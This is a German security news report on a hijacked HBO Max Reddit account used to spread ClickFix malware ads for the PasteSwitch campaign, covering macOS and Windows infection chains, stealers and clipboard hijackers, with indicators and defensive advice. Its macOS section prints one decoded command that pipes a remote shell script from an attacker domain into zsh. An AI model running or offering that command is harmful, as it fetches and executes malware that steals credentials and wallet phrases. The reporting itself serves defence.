Gekapertes Reddit-Konto von HBO Max verbreitete 108 ClickFix-Malware-Anzeigen

Angreifer kompromittierten das verifizierte Reddit-Konto von HBO Max und nutzten dessen vertrauenswürdige Identität, um bösartige Anzeigen für Windows- und macOS-Nutzer zu verbreiten.

Ein am 14. September 2026 veröffentlichter Bericht beschreibt 108 bösartige Anzeigen, die über das Konto u/hbomax innerhalb von etwa 48 Stunden veröffentlicht wurden. Forscher von Hudson Rock und ADAMnetworks brachten die Aktivitäten mit PasteSwitch in Verbindung, einer umfassenderen Malware-Kampagne, die auf ClickFix-Social-Engineering-Techniken basiert.

Die Anzeigen setzten nicht auf gewöhnliche schädliche Downloads. Stattdessen wurden die Opfer aufgefordert, Befehle in Windows „Ausführen“, PowerShell oder das macOS-Terminal zu kopieren. So machten sich die Angreifer das Vertrauen der Nutzer in die Werkzeuge ihrer Betriebssysteme zunutze.

Verifiziertes Konto wurde zum Malware-Vertriebskanal

Die erste identifizierte Anzeige bewarb eine angeblich native HBO-Max-Anwendung für macOS. Sie leitete Nutzer auf hbomaxx[.]us weiter, eine Website, die einer offiziellen Software-Downloadseite nachempfunden war.

Beim Anklicken der Schaltflächen zum Beitreten oder Herunterladen wurde kein gewöhnliches Installationsprogramm bereitgestellt. Stattdessen zeigte die Seite Anweisungen zum Öffnen des Terminals und Einfügen eines vorgegebenen Befehls an.

Die Forscher fanden mehrere weitere Ziele, die über das kompromittierte Reddit-Konto beworben wurden:

• 40 Anzeigen leiteten Nutzer zu hbomaxx[.]app weiter
• 36 Anzeigen bewarben die gefälschte Website für KI- und Entwicklerdienste codex-craft[.]com
• 15 Anzeigen verwiesen auf apple.clean-disk-guide[.]com
• 11 Anzeigen leiteten zu code-desktop[.]com weiter
• Sechs Anzeigen bewarben hbomax-macos[.]com

Die Kampagne erreichte damit nicht nur Personen, die nach HBO-Max-Software suchten. Ihre Köder richteten sich auch an Entwickler, potenzielle Nutzer von KI-Diensten und macOS-Besitzer, die nach Tools zur Datenträgerbereinigung oder Systemdienstprogrammen suchten.

Die Verwendung eines verifizierten Unternehmenskontos verlieh den Anzeigen ein starkes Signal von Legitimität. Nutzer, die einen unbekannten Werbetreibenden möglicherweise ablehnen würden, konnten vernünftigerweise davon ausgehen, dass als HBO Max veröffentlichte Inhalte sowohl die Marken- als auch die Plattformkontrollen durchlaufen hatten.

Wie die Angreifer die Kontrolle über u/hbomax erlangten, ist nicht bekannt. Ebenso gibt es keine bestätigten Informationen darüber, ob weitere Konten oder interne Systeme von HBO oder Warner Bros. Discovery kompromittiert wurden.

ClickFix macht das Opfer zum Ausführungsmechanismus

ClickFix-Angriffe tarnen die Ausführung von Befehlen häufig als routinemäßigen Schritt zur Fehlerbehebung oder Verifizierung. Eine Seite kann beispielsweise behaupten, dass der Nutzer einen Fehler beheben, ein CAPTCHA abschließen oder einen Befehl zum Installieren scheinbar legitimer Software ausführen müsse.

Dieses Vorgehen verändert den Bereitstellungsweg. Statt den Browser zum Herunterladen einer offensichtlich ausführbaren Datei aufzufordern, bringen die Angreifer das Opfer dazu, eine vertrauenswürdige lokale Oberfläche zu öffnen und die Payload manuell auszuführen.

Unter macOS war einer der in der Kampagne beobachteten Befehle durch Base64-Kodierung verborgen. Dekodiert lautete er:

export _watch_v2=97d9d8dc;curl -sL "https://ember-bridge[.]com/curl/a44a37519au/setup.sh"| zsh

Der Befehl legt die Umgebungsvariable _watch_v2 an, ruft ein Shell-Skript von ember-bridge[.]com ab und leitet die Antwort direkt an den Z-Shell-Interpreter weiter. Vor der Ausführung ist keine Prüfung des heruntergeladenen Skripts erforderlich.

Hudson Rock identifizierte die Domain als Malware-Bereitstellungsinfrastruktur im Zusammenhang mit PasteSwitch. Das Backend der Kampagne kann je nach Merkmalen des Besuchers Kampagnen, Payloads, Betriebssysteme und Methoden zum Diebstahl von Kryptowährungen auswählen.

Dank dieser Flexibilität kann eine einzige Werbekampagne unterschiedliche Angriffsketten an Windows- und macOS-Systeme ausliefern. Die Betreiber können außerdem zwischen dem Diebstahl von Zugangsdaten, dem Nachladen von Malware, gefälschten Wallet-Anwendungen und der Manipulation der Zwischenablage wechseln.

macOS-Payloads stahlen Zugangsdaten und Wallet-Recovery-Phrasen

PasteSwitch lieferte MacSync aus, einen für macOS entwickelten Information Stealer, der vertrauliche Daten von Geräten erfasst. Zu den Zielen gehören Browser-Zugangsdaten, Firefox-Profile, Telegram-Informationen, Apple Notes und macOS-Passwörter.

Eine weitere Angriffskette installierte Malware, die als „AMOS helper“ bezeichnet wurde. Sie sorgt mithilfe eines Verzeichnisses mit dem Namen für Persistenz:

.com.apple.accountsd

Der Name ähnelt einer Apple-Systemkomponente und kann dadurch bei einer oberflächlichen Prüfung weniger auffällig wirken. Nach der Installation kann die Malware das Gerät bei einer von den Angreifern kontrollierten Infrastruktur registrieren und weitere Aufgaben entgegennehmen.

Die Kampagne verbreitete außerdem gefälschte Kryptowährungsanwendungen, die Ledger, Trezor Suite und Exodus imitierten. Diese Anwendungen zielten auf Wallet-Recovery-Phrasen ab, mit denen ein Angreifer die Kontrolle über die zugehörige Kryptowährung erlangen kann, ohne weiterhin Zugriff auf den infizierten Computer zu benötigen.

Diese unterschiedlichen Payloads können im Rahmen derselben Werbekampagne zu mehreren möglichen Folgen führen. Ein Opfer könnte Browser-Zugangsdaten, private Anwendungsdaten, Systempasswörter oder Kryptowährungsbestände verlieren. Persistente Malware könnte zudem als Ausgangspunkt für spätere Aktivitäten dienen.

Windows-Angriffsketten nutzten AMSI-Umgehung und Ausführung ausschließlich im Arbeitsspeicher

Windows-Nutzer stießen auf Anweisungen, in denen mshta und PowerShell verwendet wurden. Beide sind legitime Windows-Komponenten, werden von Angreifern jedoch häufig missbraucht, um Skripte auszuführen und weitere Stufen nachzuladen.

Eine identifizierte Angriffskette nutzte ein MP3/HTA-Polyglot: Dabei war der Inhalt so aufgebaut, dass er abhängig von seiner Verarbeitung als mehr als ein Dateityp behandelt werden konnte. Die Kette konnte eine geplante Aufgabe erstellen, 32-Bit-PowerShell starten und Microsofts Antimalware Scan Interface (AMSI) deaktivieren.

Anschließend erzeugte sie anhand des Computernamens und des Benutzernamens eine für das Opfer spezifische Infrastruktur. Verschleiertes PowerShell und Shellcode luden schließlich Amatera Stealer direkt in den Arbeitsspeicher.

Diese letzte Stufe musste nicht zunächst als herkömmliche ausführbare Datei auf dem Datenträger gespeichert werden. Das Laden ausschließlich in den Arbeitsspeicher verringert die für Sicherheitskontrollen verfügbaren Spuren, die hauptsächlich neu erstellte Dateien prüfen. Die Überwachung von Endpunkten kann das damit verbundene Verhalten jedoch weiterhin erkennen.

PasteSwitch verbreitete außerdem AnimateClipper und ZigClipper. Diese Clipboard-Hijacker überwachen kopierte Kryptowährungsadressen und ersetzen sie durch von Angreifern kontrollierte Adressen. Da Wallet-Strings lang und optisch schwer zu überprüfen sind, bestätigen Opfer möglicherweise das manipulierte Ziel, ohne den Austausch zu bemerken.

Verteidiger sollten nach Befehlen, Persistenz und Infrastruktur suchen

Reddit setzte die gemeldeten Anzeigen aus und leitete den Vorfall an die Security- und Safety-Teams weiter. HBO und Warner Bros. Discovery waren kontaktiert worden, hatten zum Zeitpunkt der Berichterstattung jedoch noch nicht geantwortet.

Für das zentrale Problem gibt es keinen Software-Patch, da der Angriff hauptsächlich auf der Kompromittierung von Konten und Social Engineering beruht. Unternehmen sollten die Suche nach verdächtigen Aktivitäten auf Endpunkten mit strengeren Kontrollen für Unternehmenswerbung und Identitäten in sozialen Netzwerken kombinieren.

Sicherheitsteams sollten Verbindungen zu folgenden Zielen blockieren oder untersuchen:

hbomaxx[.]us
hbomaxx[.]app
codex-craft[.]com
apple.clean-disk-guide[.]com
code-desktop[.]com
hbomax-macos[.]com
ember-bridge[.]com

Auf macOS-Endpunkten sollten Verteidiger nach dem Persistenzverzeichnis .com.apple.accountsd, der Umgebungsvariable _watch_v2 und Zugriffen auf folgende Ressource suchen:

/curl/a44a37519au/setup.sh

Die Windows-Telemetrie sollte auf ungewöhnliche mshta-Ausführungen, das Erstellen geplanter Aufgaben, den Start von 32-Bit-PowerShell, AMSI-Manipulationen, verschleierte Skripte, das Laden von Shellcode und Prozesse mit direkter Ausführung von Payloads im Arbeitsspeicher untersucht werden.

Bei Untersuchungen sollten außerdem Indikatoren im Zusammenhang mit MacSync, AMOS helper, Amatera Stealer, AnimateClipper und ZigClipper berücksichtigt werden. Nutzer von Kryptowährungen sollten prüfen, ob Recovery-Phrasen in verdächtige Anwendungen eingegeben wurden und ob kopierte Wallet-Adressen vor Transaktionen verändert worden sind.

Verifizierte Identitäten ersetzen keine Prüfung von Befehlen

Nutzer sollten jede Anweisung auf einer Website, einen Befehl in das Terminal, in PowerShell oder in Windows „Ausführen“ einzufügen, als potenziell gefährlich betrachten. Das gilt auch dann, wenn die Anweisung als CAPTCHA, Anwendungsinstallation oder Verfahren zur Fehlerbehebung präsentiert wird.

Organisationen, die verifizierte Marken-Konten kontrollieren, sollten phishing-resistente Multifaktor-Authentifizierung einsetzen, offengelegte Zugangsdaten rotieren, unbekannte Sitzungen widerrufen und administrative Zugriffe überprüfen. Die Überwachung sollte unerwartet erstellte Anzeigen, ungewöhnlich hohe Kampagnenvolumina oder Änderungen außerhalb der üblichen Arbeitsabläufe erkennen.

Der Vorfall bei HBO Max zeigt, wie eine kompromittierte Identität die Vertrauenslücke überbrücken kann, die Nutzer normalerweise vor unbekannten Domains schützt. Die Anzeige kann authentisch aussehen. Der eingefügte Befehl bestimmt dennoch, was der Computer ausführt.